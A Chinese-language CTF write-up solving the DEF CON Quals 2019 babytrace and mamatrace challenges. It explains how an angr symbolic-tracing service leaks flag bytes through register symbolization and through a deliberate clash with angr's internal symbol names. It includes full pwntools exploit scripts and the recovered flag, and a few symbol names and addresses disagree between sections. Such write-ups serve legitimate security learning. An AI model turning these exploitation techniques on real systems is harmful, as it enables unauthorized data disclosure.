1.babytrace题解
分析：
本题叫做"Program Interactive Tracing as a Symbolic Service" (PITASS)，能对服务器端的headerquery程序进行符号化执行追踪。包含3个文件Dockerfile, headerquery和pitass.py。Dockerfile文件用于创建服务端的环境，没什么用，headerquery是可运行的elf文件，还有一个python脚本pitass.py。
pitass.py文件：
其实就是加载服务端的headerquery文件，对headerquery进行符号执行(只能单路径，非传统的符号执行)。
###############################################################################
###############################################################################
####################################################################### WELCOME
############################################################################ TO
########################################################################### THE
####################################################################### PROGRAM
################################################################### INTERACTIVE
####################################################################### TRACING
########################################################################## AS A
###################################################################### SYMBOLIC
####################################################################### SERVICE
###############################################################################
###############################################################################
###############################################################################
%%%%%% %%% %%%%%%% % %%%%% %%%%%
% % % % % % % % % %
% % % % % % % %
%%%%%% % % % % %%%%% %%%%%
% % % %%%%%%% % %
% % % % % % % % %
% %%% % % % %%%%% %%%%%
This service empowers the everyhacker to utilize the cutting-edge angr
binary analysis framework! Fear not: though angr is daunting, this service
scopes the challenge to the use of angr purely for symbolic tracing.
Don't be scared!
# Greetz
It is important to stress that we stand on the shoulders of giants [1,2,3,4].
Much of angr's design, implementation, and optimization was inspired by
the insights in those papers. Anyone interested in the functionality,
implications, and failure modes of symbolic execution should read those
papers.
[1] KLEE: Unassisted and Automatic Generation of High-Coverage Tests
for Complex Systems Programs
[3] Billions and Billions of Constraints: Whitebox Fuzz Testing in Production
[4] Unleashing MAYHEM on Binary Code
[5] Enhancing Symbolic Execution with Veritesting
# Are you ready for the PITA?
Which binary do you want to trace?
1 <- false
2 <- headerquery
0 <- Done.
Choice: 2
Loading binary /bins/headerquery...
Traces:
What would you like to do?
1 <- Start a trace.
2 <- Resume a trace.
3 <- Delete a trace.
0 <- Done.
Choice: 1
Current size of input: 0
Input specification.
1 <- Add unconstrained symbolic variable.
2 <- Add constrained symbolic variable.
3 <- Add concrete value.
0 <- Done.
Choice: 0
What do?
1 <- Step
2 <- Dump stdin
3 <- Dump stdout
4 <- Dump stderr
5 <- Concretize register
6 <- Symbolize register
7 <- Print constraints
0 <- Done.
Choice:
pitass.py流程：
1.首先选择load哪个文件，显然选择headerquery。
2.再选择功能：trace、resume、delete。
3.当首次执行trace时，你可以选择添加输入。也就是给headerquery填充stdin，你可以设置具体值、约束的符号值(可以创建为BVS符号值但约束为具体输入)或完全符号化的值。
4.设置好stdin之后，开始追踪程序。注意一点，如果给输入4个符号字节，会报错"Assertion violation: This is a tracing interface, not a general symbolic exploration client!!!"，意思是只能有1个路径是active，遇到分支只能走一条路径，本程序只能跟踪，并不是传统的符号执行（相关语句：assert len(simgr.active) == 1）。
5.接下来有很多功能（1）可以step单步执行(一次一个代码块)；（2）可以dump stdin/stdout/stderr 来验证输入设置。以下两个功能可以让我们控制执行路径。
(3)具体化寄存器：读取指定寄存器的值，用Z3求出满足条件的具体值，再写回寄存器，Z3每次返回的值可能不同。
(4)符号化寄存器：读取指定寄存器的值，创建新的符号值并存入寄存器，并建立求解器约束，限定该符号值等于寄存器原先的值（只是符号化了，并没有改变寄存器的值）。
(5)最后一个功能是可以打印求解器所有的约束。
headerquery文件：
headerquery代码.png
读取flag存入buf，在读取4字节len，len先和0xff比较，再读取buf[len]（eax=buf[len]），len再和2比较(若大于2则报错，若<=2则打印buf[len])。
利用：意味着只能泄露0，1，2字节，但是在执行二进制文件的任意点，我们都可以泄露寄存器的值(通过符号化寄存器功能)。可以任意设置len，到达puts("Checking input...");时，符号化eax寄存器，然后打印所有约束条件，即可得到buf[len]的值。
关键：需计算step多少次后会执行eax=buf[len]，11次；打印约束条件需确定flag字节在哪一位。
脚本如下：
#!/usr/bin/env python
from pwn import *
def connect():
global p
p = remote("babytrace.quals2019.oooverflow.io", 5000)
def add_constrained(name, contents):
p.sendlineafter("Choice: ", "2") # Constrained
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in hex): ", contents) # Contents
def add_unconstrained(name, num_bytes):
p.sendlineafter("Choice: ", "1") # Unconstrained input
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in bytes): ", str(num_bytes)) # Bytes
def add_concrete(inp):
p.sendlineafter("Choice: ", "3") # Concrete input
p.sendlineafter(" (in hex): ", inp) # Concrete input
def symbolize_reg(reg):
p.sendlineafter("Choice: ", "6")
p.sendlineafter("Register name? ", reg)
def read_reg_val(reg):
symbolize_reg(reg)
p.sendlineafter("Choice: ", "7")
p.recvuntil("CONSTRAINTS: [<Bool ")
val = int(p.recvuntil(" ", drop=True), 16)
return val
def get_flag_char(i):
global p
connect()
#
# Setup
#
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Choice: ", "1") # Start trace
add_concrete('{:02x}000000'.format(i)) #input len
p.sendlineafter("Choice: ", "0") # Done
p.sendlineafter("Choice: ", "1") # Step
p.sendlineafter("steps: ", "11") # Eax has been populated
char = chr(read_reg_val('eax'))
p.close()
return char
flag = ""
i = 0
while True:
flag += get_flag_char(i)
print(flag)
i += 1
2.mamatrace题解
分析：
pitas.py和Dockerfile文件和babytrace一样，headerquery2跟headerquery相比少了（eax=buf[len]）这句泄露语句，很明显只能利用flagleak来求。
flagleak文件：
只能读取flag的前9个字节，对flag读取字节len也就是r12有限制。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned __int8 len; // r12
unsigned __int64 i; // rbx
__int64 v7; // [rsp+8h] [rbp-128h]
char buf[264]; // [rsp+10h] [rbp-120h]
unsigned __int64 v9; // [rsp+118h] [rbp-18h]
v9 = __readfsqword(0x28u);
v3 = open("/flag", 0, envp);
read(v3, buf, 0x100uLL);
read(0, &v7, 8uLL);
len = v7;
puts("Checking input...");
if ( len > 9u )
{
puts("OOO is unwilling to reveal that much of the flag at this time.");
exit(1);
}
for ( i = 0LL; i < len; ++i )
printf("Flag byte %lld: %c\n", i, (unsigned int)buf[i]);
return 0;
}
flagleak汇编.png
思路：可不可以在r12(len)比较完后修改r12(len)的值呢？
pitas.py再分析：
#add_unconstrained()，使输入符号化，不加约束
def add_unconstrained():
stdin_name = input("Variable name: ")
stdin_len = int(input("Variable length (in bytes): "))
stdin_var = claripy.BVS(stdin_name, stdin_len*8, explicit_name=True)
s.posix.stdin.write(None, stdin_var)
#add_constrained()，使输入符号化，添加约束使输入等于指定值
def add_constrained():
stdin_name = input("Variable name: ")
stdin_str = bytes.fromhex(input("Variable contents (in hex): "))
stdin_len = len(stdin_str)
stdin_var = claripy.BVS(stdin_name, stdin_len*8, explicit_name=True)
s.posix.stdin.write(None, stdin_var)
s.add_constraints(stdin_var == stdin_str)
#add_concrete()，使输入等于指定的具体值
def add_concrete():
stdin_str = bytes.fromhex(input("Value (in hex): "))
stdin_var = claripy.BVV(stdin_str)
s.posix.stdin.write(None, stdin_var)
注意这里的explicit_name=True提醒了我，查阅help后可以看到，定义explicit_name=True之后，符号值的名字就是用户定义的那个名字，不再是系统分配的，这很不同寻常：
:param explicit_name: Set to True to prevent an identifier from appended to the name to ensure uniqueness.
:param bool explicit_name: If False, an identifier is appended to the name to ensure uniqueness.
所以这和唯一性有关，angr使用Single Static Assignment来管理变量(静态编号？每次编号都一样？可以猜出来？)，一般某个变量只会赋值一次，这里我们可以试试将一个变量命名为angr已经使用过的名字。
首先要找到r12在angr中的命名，可执行到0x85e(i被赋值为0之前，即将开始输出前len长度的flag)，使用babytrace中的寄存器读方法(啥方法啊？)，发现r12的符号名是r12_52_64。
再重新开始，输入具体值09和约束到0x60的符号值r12_52_64。执行到0x85e时调用symbolize_register()来符号化r12，这样，两个符号值产生冲突了。最后执行到0x865后调用concretize_register()来具体化r12，具体化输出的值是我们之前定义的0x60而不是09，这样r12就变成的具体值0x60，这长度足以输出flag了。
脚本如下：
#!/usr/bin/env python
import logging
from pwn import *
def connect():
global p
p = remote("mamatrace.quals2019.oooverflow.io", 5000)
#p._logger.level = logging.DEBUG
def add_constrained(name, contents):
p.sendlineafter("Choice: ", "2") # Constrained
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in hex): ", contents) # Contents
def add_unconstrained(name, num_bytes):
p.sendlineafter("Choice: ", "1") # Unconstrained input
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in bytes): ", str(num_bytes)) # Bytes
def add_concrete(inp):
p.sendlineafter("Choice: ", "3") # Concrete input
p.sendlineafter(" (in hex): ", inp) # Concrete input
def symbolize_reg(reg):
p.sendlineafter("Choice: ", "6")
p.sendlineafter("Register name? ", reg)
def concretize_reg(reg):
p.sendlineafter("Choice: ", "5")
p.sendlineafter("Register name? ", reg)
def read_reg_val(reg):
symbolize_reg(reg)
p.sendlineafter("Choice: ", "7")
p.recvuntil("CONSTRAINTS: [<Bool ")
val = int(p.recvuntil(" ", drop=True), 16)
return val
def print_constraints():
p.sendlineafter("Choice: ", "7")
print(p.recvuntil("Current binary"))
def make_all_regs_symbolic():
for reg in ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'r12']: #, 'rsp', 'rbp']:
symbolize_reg(reg)
def single_step_until_addr(addr, symbolize_everything=True):
cur_addr = 0
while cur_addr != addr:
if symbolize_everything:
make_all_regs_symbolic()
# printf can't handle symbolic rdi
if cur_addr == 0x1064e80:
concretize_reg('rdi')
p.sendlineafter("Choice: ", "1")
p.sendlineafter("steps: ", "1")
p.recvuntil("SimState @ ")
cur_addr = int(p.recvuntil(">",drop=True),16)
print("Current Addr: " + hex(cur_addr))
print_constraints()
print(p.recvuntil("do?", p.sendlineafter("Choice: ", "3")))
connect()
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Choice: ", "1") # Start trace
add_concrete('09')
add_constrained('r12_52_64', "60")
p.sendlineafter("Choice: ", "0") # Done
single_step_until_addr(0x40085e, symbolize_everything=False)
symbolize_reg('r12')
single_step_until_addr(0x400865, symbolize_everything=False)
concretize_reg('r12')
# Step 5000
p.interactive()
"""
STDOUT: b'Checking input...\nFlag byte 0: O\nFlag byte 1: O\nFlag byte 2: O\nFlag byte 3: {\nFlag byte 4: b\nFlag byte 5: r\nFlag byte 6: u\nFlag byte 7: m\nFlag byte 8: l\nFlag byte 9: e\nFlag byte 10: y\nFlag byte 11: \nFlag byte 12: w\nFlag byte 13: a\nFlag byte 14: s\nFlag byte 15: \nFlag byte 16: r\nFlag byte 17: i\nFlag byte 18: g\nFlag byte 19: h\nFlag byte 20: t\nFlag byte 21: ,\nFlag byte 22: \nFlag byte 23: h\nFlag byte 24: a\nFlag byte 25: s\nFlag byte 26: h\nFlag byte 27: \nFlag byte 28: c\nFlag byte 29: o\nFlag byte 30: n\nFlag byte 31: s\nFlag byte 32: i\nFlag byte 33: n\nFlag byte 34: g\nFlag byte 35: \nFlag byte 36: i\nFlag byte 37: s\nFlag byte 38: \nFlag byte 39: a\nFlag byte 40: w\nFlag byte 41: e\nFlag byte 42: s\nFlag byte 43: o\nFlag byte 44: m\nFlag byte 45: e\nFlag byte 46: !\nFlag byte 47: }\nFlag byte 48: \n\nFlag byte 49: \x00\nFlag byte 50: \x00\nFlag byte 51: \x00\nFlag byte 52: \x00\nFlag byte 53: \x00\nFlag byte 54: \x00\nFlag byte 55: \x00\nFlag byte 56: \x00\nFlag byte 57: \x00\nFlag byte 58: \x00\nFlag byte 59: \x00\nFlag byte 60: \x00\nFlag byte 61: \x00\nFlag byte 62: \x00\nFlag byte 63: \x00\nFlag byte 64: \x00\nFlag byte 65: \x00\nFlag byte 66: \x00\nFlag byte 67: \x00\nFlag byte 68: \x00\nFlag byte 69: \x00\nFlag byte 70: \x00\nFlag byte 71: \x00\nFlag byte 72: \x00\nFlag byte 73: \x00\nFlag byte 74: \x00\nFlag byte 75: \x00\nFlag byte 76: \x00\nFlag byte 77: \x00\nFlag byte 78: \x00\nFlag byte 79: \x00\nFlag byte 80: \x00\nFlag byte 81: \x00\nFlag byte 82: \x00\nFlag byte 83: \x00\nFlag byte 84: \x00\nFlag byte 85: \x00\nFlag byte 86: \x00\nFlag byte 87: \x00\nFlag byte 88: \x00\nFlag byte 89: \x00\nFlag byte 90: \x00\nFlag byte 91: \x00\nFlag byte 92: \x00\nFlag byte 93: \x00\nFlag byte 94: \x00\nFlag byte 95: \x00\n'
OOO{brumley was right, hash consing is awesome!}
"""
"""
- 首先第一次运行程序，断在0x85e，使r12符号化，记录该符号化变量的符号名r12_54_64。
- 再次运行程序，输入时提前使用r12_54_64这个符号名。
- 断在0x85e，使r12符号化，这样符号名重复导致约束重复了，为防止出现多个active路径，必须在下一个step就修改。
- 步进step到0x88a就具体化r12，保证不会出现多个active路径。
- 执行到最后，从STDOUT读出flag即可。
"""
网友评论